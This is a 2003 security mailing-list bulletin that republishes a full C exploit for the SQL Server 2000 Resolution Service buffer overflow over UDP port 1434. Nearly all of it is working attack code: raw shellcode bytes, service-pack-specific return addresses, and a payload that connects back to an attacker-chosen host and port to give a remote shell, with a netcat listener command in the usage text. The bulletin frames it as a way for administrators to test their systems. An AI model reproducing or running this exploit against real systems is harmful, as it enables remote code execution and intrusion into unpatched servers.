[EXPL] MSSQL2000 Remote UDP Exploit

From: support@securiteam.com
Date: 01/29/03

  • Next message: support@securiteam.com: "[UNIX] MIT Kerberos FTP Client Remote Shell Commands Execution"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 29 Jan 2003 10:58:51 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      MSSQL2000 Remote UDP Exploit
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in the past a vulnerability in
    <http://www.securiteam.com/windowsntfocus/5EP0M1F8AO.html> Buffer Overruns
    in SQL Server 2000 Resolution Service Could Enable Code Execution, a
    vulnerability in the MS SQL server allows remote attackers to cause it to
    execute arbitrary code. An SQL worm is now spreading that exploits this
    vulnerability, the following is an exploit code that can be used by
    administrators to test their system for the mentioned vulnerability.

    DETAILS

    /*
    MSSQL2000 Remote UDP Exploit!

    Modified from "Advanced Windows Shellcode" by David Litchfield,
    david@ngssoftware.com

    fix a bug.

    Modified by lion, lion@cnhonker.net
    Welcome to HUC Website http://www.cnhonker.com

    */

    #include <stdio.h>
    #include <winsock2.h>

    #pragma comment (lib,"Ws2_32")

    int GainControlOfSQL(void);
    int StartWinsock(void);

    struct sockaddr_in c_sa;
    struct sockaddr_in s_sa;

    struct hostent *he;
    SOCKET sock;
    unsigned long addr;
    int SQLUDPPort=1434;
    char host[256]="";
    char request[4000]="\x04";

    int explen=361;
    int len;

    char exploit_code[362]=
    "\x55\x8B\xEC\x68\x18\x10\xAE\x42\x68\x1C"
    "\x10\xAE\x42\xEB\x03\x5B\xEB\x05\xE8\xF8"
    "\xFF\xFF\xFF\xBE\xFF\xFF\xFF\xFF\x81\xF6"
    "\xAE\xFE\xFF\xFF\x03\xDE\x90\x90\x90\x90"
    "\x90\x33\xC9\xB1\x44\xB2\x58\x30\x13\x83"
    "\xEB\x01\xE2\xF9\x43\x53\x8B\x75\xFC\xFF"
    "\x16\x50\x33\xC0\xB0\x0C\x03\xD8\x53\xFF"
    "\x16\x50\x33\xC0\xB0\x10\x03\xD8\x53\x8B"
    "\x45\xF4\x50\x8B\x75\xF8\xFF\x16\x50\x33"
    "\xC0\xB0\x0C\x03\xD8\x53\x8B\x45\xF4\x50"
    "\xFF\x16\x50\x33\xC0\xB0\x08\x03\xD8\x53"
    "\x8B\x45\xF0\x50\xFF\x16\x50\x33\xC0\xB0"
    "\x10\x03\xD8\x53\x33\xC0\x33\xC9\x66\xB9"
    "\x04\x01\x50\xE2\xFD\x89\x45\xDC\x89\x45"
    "\xD8\xBF\x7F\x01\x01\x01\x89\x7D\xD4\x40"
    "\x40\x89\x45\xD0\x66\xB8\xFF\xFF\x66\x35"
    "\xFF\xCA\x66\x89\x45\xD2\x6A\x01\x6A\x02"
    "\x8B\x75\xEC\xFF\xD6\x89\x45\xEC\x6A\x10"
    "\x8D\x75\xD0\x56\x8B\x5D\xEC\x53\x8B\x45"
    "\xE8\xFF\xD0\x83\xC0\x44\x89\x85\x58\xFF"
    "\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45"
    "\x84\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98"
    "\x8D\xBD\x48\xFF\xFF\xFF\x57\x8D\xBD\x58"
    "\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83"
    "\xC0\x01\x50\x83\xE8\x01\x50\x50\x8B\x5D"
    "\xE0\x53\x50\x8B\x45\xE4\xFF\xD0\x33\xC0"
    "\x50\xC6\x04\x24\x61\xC6\x44\x24\x01\x64"
    "\x68\x54\x68\x72\x65\x68\x45\x78\x69\x74"
    "\x54\x8B\x45\xF0\x50\x8B\x45\xF8\xFF\x10"
    "\xFF\xD0\x90\x2F\x2B\x6A\x07\x6B\x6A\x76"
    "\x3C\x34\x34\x58\x58\x33\x3D\x2A\x36\x3D"
    "\x34\x6B\x6A\x76\x3C\x34\x34\x58\x58\x58"
    "\x58\x0F\x0B\x19\x0B\x37\x3B\x33\x3D\x2C"
    "\x19\x58\x58\x3B\x37\x36\x36\x3D\x3B\x2C"
    "\x58\x1B\x2A\x3D\x39\x2C\x3D\x08\x2A\x37"
    "\x3B\x3D\x2B\x2B\x19\x58\x58\x3B\x35\x3C"
    "\x58";

    int main(int argc, char *argv[])
    {
    unsigned int ErrorLevel=0;
    int count = 0;
    char sc[300]="";
    char ipaddress[40]="";
    unsigned short port = 0;
    unsigned int ip = 0;
    char *ipt="";
    char buffer[400]="";
    unsigned short prt=0;
    char *prtt="";

    if(argc != 2 && argc != 5)
    {
    printf("===============================================================\r\n");
    printf("SQL Server UDP Buffer Overflow Remote Exploit\r\n\n");
    printf("Modified from \"Advanced Windows Shellcode\"\r\n");
    printf("Code by David Litchfield, david@ngssoftware.com\r\n");
    printf("Modified by lion, fix a bug.\r\n");
    printf("Welcome to HUC Website http://www.cnhonker.com\r\n\n");
    printf("Usage:\r\n");
    printf(" %s Target [<NCHost> <NCPort> <SQLSP>]\r\n\n", argv[0]);
    printf("Exemple:\r\n");
    printf(" C:\\>nc -l -p 53\r\n");
    printf("Target is MSSQL SP 0:\r\n");
    printf(" C:\\>%s 192.168.0.1 192.168.7.1 53 0\r\n",argv[0]);
    printf("Target is MSSQL SP 1 or 2:\r\n");
    printf(" c:\\>%s 192.168.0.1 192.168.7.1 53 1\r\n\n", argv[0]);
    return 0;
    }

    strncpy(host, argv[1], 100);

    strncpy(ipaddress, argv[2], 36);

    port = atoi(argv[3]);

    // SQL Server 2000 Service pack level
    // The import entry for GetProcAddress in sqlsort.dll
    // is at 0x42ae1010 but on SP 1 and 2 is at 0x42ae101C
    // Need to set the last byte accordingly

    if(argv[4][0] == 0x30)
    {
    printf("MSSQL SP 0. GetProcAddress @0x42ae1010\r\n");
    exploit_code[9]=0x10;
    }
    else
    {
    printf("MSSQL SP 1 or 2. GetProcAddress @0x42ae101C\r\n");
    }

    ErrorLevel = StartWinsock();
    if(ErrorLevel==0)
    {
    printf("Starting Winsock Error.\r\n");
    return 0;
    }

    strcpy(buffer,exploit_code);

    // set this IP address to connect back to
    // this should be your address
    ip = inet_addr(ipaddress);
    ipt = (char*)&ip;
    buffer[142]=ipt[0];
    buffer[143]=ipt[1];
    buffer[144]=ipt[2];
    buffer[145]=ipt[3];

    // set the TCP port to connect on
    // netcat should be listening on this port
    // e.g. nc -l -p 80

    prt = htons(port);
    prt = prt ^ 0xFFFF;
    prtt = (char *) &prt;
    buffer[160]=prtt[0];
    buffer[161]=prtt[1];

    strcat(request,"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXX");

    // Overwrite the saved return address on the stack
    // This address contains a jmp esp instruction
    // and is in sqlsort.dll.

    strcat(request,"\xDC\xC9\xB0\x42"); // 0x42B0C9DC

    // Need to do a near jump
    strcat(request,"\xEB\x0E\x41\x42\x43\x44\x45\x46");

    // Need to set an address which is writable or
    // sql server will crash before we can exploit
    // the overrun. Rather than choosing an address
    // on the stack which could be anywhere we'll
    // use an address in the .data segment of sqlsort.dll
    // as we're already using sqlsort for the saved
    // return address

    // SQL 2000 no service packs needs the address here
    strcat(request,"\x01\x70\xAE\x42");

    // SQL 2000 Service Pack 2 needs the address here
    strcat(request,"\x01\x70\xAE\x42");

    // just a few nops
    strcat(request,"\x90\x90\x90\x90\x90\x90\x90\x90");

    len = strlen(request)+ explen;

    // tack on exploit code to the end of our request and fire it off
    memcpy(request+strlen(request), buffer, explen);

    // printf("Size: %d/%d\r\n", len, strlen(request));

    GainControlOfSQL();

    return 0;
    }

    int StartWinsock()
    {
    int err=0;
    WORD wVersionRequested;
    WSADATA wsaData;

    wVersionRequested = MAKEWORD(2,1);
    err = WSAStartup( wVersionRequested, &wsaData );
    if (err != 0)
    {
    printf("error WSAStartup 1.\r\n");
    return 0;
    }
    if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 1 )
    {
    printf("error WSAStartup 2.\r\n");
    WSACleanup( );
    return 0;
    }

    if (isalpha(host[0]))
    {
    he = gethostbyname(host);

    if (he == NULL)
    {
    printf("Can't get the ip of %s!\r\n", host);
    WSACleanup( );
    exit(-1);
    }

    s_sa.sin_addr.s_addr=INADDR_ANY;
    s_sa.sin_family=AF_INET;
    memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
    }
    else
    {
    s_sa.sin_family=AF_INET;
    s_sa.sin_addr.s_addr = inet_addr(host);
    }

    return 1;
    }

    int GainControlOfSQL(void)
    {
    char resp[600]="";
    int snd=0,rcv=0,count=0, var=0;
    unsigned int ttlbytes=0;
    unsigned int to=2000;
    SOCKET s;

    s=socket(AF_INET,SOCK_DGRAM,0);
    if (s==INVALID_SOCKET)
    {
    return printf("sock error.\r\n");
    }

    setsockopt(s, SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned int));

    s_sa.sin_port=htons((unsigned short)SQLUDPPort);

    if (connect(s,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
    {
    return printf("Connect error\r\n");
    }
    else
    {
    snd=send(s, request , len , 0);

    /* printf("---");
    for(int i=0; i<len;i++)
    {
    if((i%16)==0)
    printf("\n");
    printf("%02X ",request[i]&0xff);
    }
    printf("\n---\n");
    */

    printf("Packet sent!\r\n");
    printf("If you don't have a shell it didn't work.\r\n");
    rcv = recv(s,resp,596,0);
    if(rcv > 1)
    {
    while(count < rcv)
    {
    if(resp[count]==0x00)
    resp[count]=0x20;
    count++;
    }
    printf("%s",resp);
    }
    }
    closesocket(s);

    return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by Marc Maiffret.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



    Relevant Pages